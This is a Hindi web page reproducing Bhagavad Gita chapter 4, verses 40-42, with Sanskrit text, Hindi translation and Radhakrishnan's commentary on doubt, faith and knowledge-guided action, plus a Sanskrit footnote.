भगवद्गीता -राधाकृष्णन पृ. 142

अद्‌भुत भारत की खोज
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अध्याय-4
ज्ञानमार्ग ज्ञानयोग की परम्परा

  
40.अज्ञश्चाश्रद्द्धानश्च संशयात्मा विनश्यति ।
नायं लोकोअस्ति न परो न सुखं संशयात्मनः ।।
परन्तु जो मनुष्य अज्ञानी है, जिसमें श्रद्धा नहीं है और जो संशयालु स्वभाव का है, वह नष्ट होकर रहता है। संशयालु स्वभाव वाले व्यक्ति के लिए न तो यह संसार है और न परलोक, और न उसे सुख ही प्राप्त हो सकता है।
हमारे पास जीवन के लिए कोई सकारात्मक आधार होना चाहिए, एक अचल श्रद्धा, जो जीवन की कसौटी पर खरी उतरे।
 
41.योगसंन्यस्तकर्माणं ज्ञानसंछिन्नसंशय्।
आत्मवन्तं न कर्माणि निबध्नन्ति धनंजय।।
हे धनंजय (अर्जुन), जिसने योग द्वारा सब कर्मां का त्याग कर दिया है, जिसने ज्ञान द्वारा सब संशयों को नष्ट कर दिया है और जिसने अपनी आत्मा पर अधिकार कर लिया है, उसको हम कर्म-बन्धन में नहीं डालते ।यहां सच्चे कर्म, ज्ञान और आत्म-अनुशासन के पारस्परिक सम्बन्ध को प्रकट किया गया है। योगसंन्यस्तकर्माणम्: जिसने योग द्वारा सब कर्मों को त्याग दिया है। इसका अभिप्राय उन लोगों से भी हो सकता है, जो परमात्मा की पूजा के साथ-साथ उसकी विशेषता के रूप में समानचितता को विकसित कर लेते हैं और इस प्रकार सब कर्मां को परमात्मा के प्रति समर्पित कर देते हैं या उन लोगों से, जिन्हें सर्वाच्च वास्तविकता को देखने के लिए अन्तदृष्टि प्राप्त है और जो इस प्रकार कर्मां से अनासक्त हो गए है।[१] मधुसूदन।
आत्मवन्तम्: जिसका अपनी आत्मा पर अधिकार है। जब वह दूसरों के लिए काम कर रहा होता है, तब भी वह स्वयं अपना आत्म ही रहता है। दूसरों का भला करने की अधीर साधना में अपना आपा नहीं खो बैठता।
 
42.तस्मादज्ञानसंभूतं हृत्स्थं ज्ञानासिनात्मनः ।
छित्वैनं संशयं योगमातिष्ठोत्तिष्ठोत्तिष्ठ भारत।।
इसलिए हे भारत (अर्जुन), ज्ञान की तलवार से अपने हृदय में स्थित सन्देह को, जो अज्ञान के कारण उत्पन्न हुआ है, छिन्न-भिन्न करके योग में जुट जा और उठ खड़ा हो। यहां अर्जुन से ज्ञान और एकाग्रता की सहायता से कर्म करने को कहा गया है। उसके हृदय मंन संशय यह है कि युद्ध करना अज्ञान की उपज है या युद्ध से विरत हो जाना। यह संशय ज्ञान द्वारा नष्ट हो जाएगा, तब उसे पता चल जाएगा कि उसके लिए क्या करना उचित है।
इति’ ’ ’ ’ ज्ञानयोगो नाम चतुर्थाअध्यायः ।
यह है ’दिव्य ज्ञान का योग’ नामक चैथा अध्याय।
कभी-कभी इस अध्याय का नाम ’ज्ञान-कर्म-संन्यास योग’ भी कहा जाता है जिसका अर्थ है ज्ञान और कर्म के (सच्चे) त्याग का योग।


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टीका टिप्पणी और संदर्भ

  1. .योगेन भगवदाराधनलक्षणसमत्वबुद्धिरूपेण संन्यस्तानि भगवति समार्पितानि कर्माणि येन, यद्ववा परमार्थदर्शनलक्षणेन योगेन संन्यस्तानि त्क्तानि कर्माणि येन, तं योगसंन्यस्तर्माणम्।

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